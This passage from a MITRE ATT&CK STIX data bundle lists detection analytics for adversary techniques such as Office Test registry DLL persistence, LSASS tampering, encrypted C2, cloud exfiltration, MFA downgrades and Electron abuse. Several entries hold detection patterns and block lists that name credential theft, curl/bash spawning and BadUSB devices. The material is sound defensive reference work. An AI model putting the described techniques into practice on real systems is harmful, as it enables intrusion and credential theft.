                    "description": "Approved cryptographic libraries and modules for legitimate organizational use - maintain based on approved software inventory"
                },
                {
                    "field": "WMIQueryComplexityThreshold",
                    "description": "Complexity score for WMI queries indicating reconnaissance vs. legitimate administration - tune based on administrative patterns"
                },
                {
                    "field": "EnvironmentalArtifactList",
                    "description": "Environment-specific values commonly targeted by guardrails (hostnames, domains, network shares) - customize for organizational environment"
                },
                {
                    "field": "ExecutionDelayBaseline",
                    "description": "Statistical baseline for normal delay between discovery and execution activities - establish through historical analysis"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0034#AN0097",
                    "external_id": "AN0097"
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            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
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            "description": "Monitors execution of ps, top, or launchctl with unusual parent processes or from terminal scripts. Also detects AppleScript-based process listing or `system_profiler SPApplicationsDataType` misuse.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process launch"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1",
                    "name": "macos:osquery",
                    "channel": "Process Context"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ParentApp",
                    "description": "Tunable to detect discovery from non-UI tools or script-based execution (osascript, zsh, cron)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--80be1bd7-b4e8-4d1b-b294-56b1c073bbe0",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0315#AN0880",
                    "external_id": "AN0880"
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            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0880",
            "description": "Adversaries create the 'Office Test\\Special\\Perf' registry key and specify a malicious DLL path that is auto-loaded when an Office application starts. This DLL is injected into the Office process memory space and can provide persistent execution without requiring macro enablement.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:Microsoft-Office-Alerts",
                    "channel": "Unexpected DLL or component loaded at Office startup"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "RegistryPath",
                    "description": "Path to 'Office test\\Special\\Perf' may vary by Office version, 32/64-bit, or architecture (HKCU vs HKLM)"
                },
                {
                    "field": "DLLPath",
                    "description": "Injected DLL may reside in different user-writable locations (e.g., %APPDATA%, %TEMP%, or network shares)"
                },
                {
                    "field": "OfficeProcessName",
                    "description": "Process name (e.g., winword.exe, excel.exe) may vary by Office deployment and usage"
                },
                {
                    "field": "TimeWindow",
                    "description": "Time between DLL registry creation and first Office execution may vary depending on user activity"
                },
                {
                    "field": "UserContext",
                    "description": "Malicious DLL may target only specific users, necessitating correlation with interactive logon sessions"
                }
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
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                    "external_id": "AN0761"
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            "name": "Analytic 0761",
            "description": "Applications or launchd jobs initiating encrypted TLS traffic to rare external hosts. Defender observes unified logs showing ssl/TLS API calls by processes not baseline-approved, and payload entropy suggesting encrypted C2 sessions.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "macos:unifiedlog",
                    "channel": "Encrypted session initiation by unexpected binary"
                },
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Process invoking SSL routines from Security framework"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DoHResolvers",
                    "description": "Known legitimate DoH endpoints to reduce false positives."
                },
                {
                    "field": "PayloadEntropyThreshold",
                    "description": "High-entropy traffic deviations used to detect concealed channels."
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            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0574#AN1585",
                    "external_id": "AN1585"
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            "name": "Analytic 1585",
            "description": "Execution of built-in or AppleScript-based system enumeration via `arp`, `netstat`, `ping`, and discovery of `/etc/hosts` contents.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "macos:osquery",
                    "channel": "file_events"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ExecutionUser",
                    "description": "Limit detection to suspicious users or automation contexts"
                },
                {
                    "field": "CommandSignature",
                    "description": "Adapt for expected enumeration tooling used in IT"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0235#AN0654",
                    "external_id": "AN0654"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0654",
            "description": "Suspicious modification of file artifacts (e.g., logs, ISO templates) on ESXi datastores, followed by beaconing or POST operations to external IPs potentially hiding payloads in file-like traffic.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "esxi:vmkernel",
                    "channel": "Storage access and file ops"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "esxi:hostd",
                    "channel": "Service initiated connections"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Transferred file observations"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "FilenamePattern",
                    "description": "Tune for likely stego file names (e.g., wallpaper.jpg, template.iso)."
                },
                {
                    "field": "UnusualDestinationIP",
                    "description": "Destination outside vCenter management subnet."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--80e453fd-8191-474a-b577-7a575ef5fe87",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0886#AN2018",
                    "external_id": "AN2018"
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            "object_marking_refs": [
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 2018",
            "description": "Monitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "Application Log",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--80e4f847-a149-423b-a179-cbcf4afd06b9",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0293#AN0816",
                    "external_id": "AN0816"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0816",
            "description": "Detects API calls registering or updating hybrid identity connectors, modification of cloud-to-on-premises federation trust, and unusual token issuance logs.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e",
                    "name": "AWS:CloudTrail",
                    "channel": "UpdateFederationSettings or RegisterHybridConnector"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredFederations",
                    "description": "Federation trusts and connectors relevant to hybrid identity setup."
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            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--80e9341d-7ea4-4684-8f27-54566e996ce6",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0182"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0182",
            "description": "PowerShell or script execution with parameters that suppress errors or ignore user interrupts, such as `-ErrorAction SilentlyContinue`. Defender perspective: detecting discrepancies between suppressed error arguments and continued execution behavior.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredCmdlets",
                    "description": "List of PowerShell cmdlets where suppressed error handling is suspicious (e.g., Invoke-Expression, Invoke-WebRequest)."
                },
                {
                    "field": "ErrorActionThreshold",
                    "description": "Frequency of suppressed error actions within time window that should trigger detection."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--81233639-a08b-4a56-a5d4-ac2f9ae94a2b",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0273#AN0759",
                    "external_id": "AN0759"
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            "object_marking_refs": [
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0759",
            "description": "Processes that normally do not initiate network connections establishing outbound encrypted TLS/SSL sessions, especially with asymmetric traffic volumes (client sending more than receiving) or non-standard certificate chains. Defender observations correlate process creation with unexpected network encryption libraries being loaded.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedEncryptedProcesses",
                    "description": "Whitelist processes expected to use TLS (e.g., browsers, mail clients)."
                },
                {
                    "field": "EntropyThreshold",
                    "description": "Payload randomness threshold to distinguish C2 encryption from legitimate traffic."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between process creation, module load, and encrypted connection."
                }
            ]
        },
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            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8129e7b8-eaa1-4459-ba70-ebf6d68ca16c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0025#AN0072",
                    "external_id": "AN0072"
                }
            ],
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0072",
            "description": "Abuse of Linux Electron binaries by modifying app.asar or config JS files and spawning unexpected child processes (bash, curl, python).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
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            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Electron-based binary spawning shell or script interpreter"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                }
            ],
            "x_mitre_mutable_elements": [
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                    "field": "AsarIntegrityCheck",
                    "description": "Baseline of expected asar package signatures per app."
                },
                {
                    "field": "SuspiciousChildProcesses",
                    "description": "Flag shells/python spawned from Electron parent."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--816aaddd-dc6d-49da-8ecd-8afde6278181",
            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0885#AN2017",
                    "external_id": "AN2017"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
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                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256",
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                    "channel": "None"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811",
                    "name": "Domain Name",
                    "channel": "None"
                },
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                    "x_mitre_data_component_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4",
                    "name": "Domain Name",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da",
                    "name": "Internet Scan",
                    "channel": "None"
                }
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            "x_mitre_deprecated": false
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            ],
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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                    "field": "ProcessNameExclusions",
                    "description": "Legitimate accessibility tools may use similar API calls (e.g., Magnifier.exe)"
                },
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                    "field": "TimeWindow",
                    "description": "Define how quickly access + registry mod + smart card use must co-occur"
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0218"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0218",
            "description": "Detection of hijacked VNC or SSH sessions on macOS where adversaries take over an existing session rather than authenticating directly. Indicators include process execution from active sessions without new logon events, manipulation of TTY sessions, or anomalous network activity tied to dormant sessions.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "macos:unifiedlog",
                    "channel": "Authentication inconsistencies where commands are executed without corresponding login events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Suspicious long-lived or reattached remote desktop sessions from unexpected IPs"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SessionIdleThreshold",
                    "description": "Time threshold for inactive sessions flagged as suspicious when commands suddenly resume."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--818b46ce-9c93-47c9-a649-8bc5d3b734a5",
            "created": "2025-10-21T15:10:28.402Z",
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            "external_references": [
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0104#AN0287",
                    "external_id": "AN0287"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0287",
            "description": "Detects modification of LSASS and authentication DLLs, suspicious registry changes to password filter packages, and abnormal process access to lsass.exe. Correlates registry modifications, DLL loads, and process handle access events.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredRegistryKeys",
                    "description": "Specific LSASS and password filter registry paths monitored for modification."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between registry change, DLL load, and lsass.exe access."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--81b1e9a7-b6f4-4cca-b07a-3498ab4abd4a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0548#AN1511",
                    "external_id": "AN1511"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1511",
            "description": "Processes that normally do not initiate network communications suddenly making outbound HTTPS connections with high outbound-to-inbound data ratios. Defender view: correlation between process creation logs (e.g., Word, Excel, PowerShell) and subsequent anomalous network traffic volumes toward common web services (Dropbox, Google Drive, OneDrive).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredServices",
                    "description": "List of legitimate web services to baseline (Dropbox, OneDrive, Google Drive)."
                },
                {
                    "field": "ExfilVolumeThreshold",
                    "description": "Outbound data threshold for flagging unusual activity, tunable by environment."
                },
                {
                    "field": "TimeWindow",
                    "description": "Aggregation period to calculate anomalies in outbound data volume."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--81c940cd-633b-4f88-9f8f-f6837a7026bc",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0190#AN0548",
                    "external_id": "AN0548"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0548",
            "description": "Detects suspicious MFA method changes, such as registration of weaker factors (e.g., SMS), or removal of MFA requirements for specific accounts or groups.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "SaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "saas:zoom",
                    "channel": "DisableMFA or RegisterNewFactor"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AcceptedFactors",
                    "description": "Configured MFA factors allowed in SaaS environment; tuned to organizational policies."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0186"
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0186",
            "description": "Chain: (1) udev / kernel logs show hot-plug (USB/Thunderbolt/PCIe); (2) block device created by udisks/diskarbitration; (3) optional: new network interface or DHCP lease observed. Correlate /var/log/messages|syslog, auditd SYSCALL open/creat on /dev, and DHCP/Zeek.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f",
                    "name": "auditd:SYSCALL",
                    "channel": "mknod,open,openat"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "linux:syslog",
                    "channel": "usb * new|thunderbolt|pci .* added|block.*: new .* device"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "LEASE_GRANTED"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "BlocklistDeviceStrings",
                    "description": "Indicators such as 'RubberDucky', 'BadUSB', unfamiliar USB-NIC chipsets."
                },
                {
                    "field": "ServerClassesNoUSB",
                    "description": "Hosts where any USB attach should alert (DCs, hypervisors)."
                },
                {
                    "field": "DHCPVlanScopes",
                    "description": "Scopes allowed to issue leases for corp endpoints vs. guest/IoT."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--81d64cae-ddd2-4512-9c8a-9a574b968c52",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0040#AN0115",
                    "external_id": "AN0115"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0115",
            "description": "Detects deletion of launch agents (~/Library/LaunchAgents/) and launch daemons (/Library/LaunchDaemons/), especially after suspicious process execution or when tied to known persistence methods.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "log stream"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8",
                    "name": "macos:osquery",
                    "channel": "file_events"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "LaunchDaemonPath",
                    "description": "Common plist file paths for persistence: ~/Library/LaunchAgents/*.plist"
                },
                {
                    "field": "CorrelatedProcessImage",
                    "description": "Ties deletion to parent process (e.g., suspicious AppleScript runner)"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "name": "Analytic 0614",
            "description": "Detection of Windows container escape attempts by observing processes accessing host directories, symbolic link abuse, or privilege escalation attempts. Defenders may detect anomalous process execution with access to system-level directories outside of container boundaries.",
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                    "channel": "EventCode=11"
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                {
                    "field": "RestrictedHostDirs",
                    "description": "Critical system paths containers should not access (e.g., C:\\Windows, C:\\ProgramData)."
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            ],
            "x_mitre_deprecated": false
        },
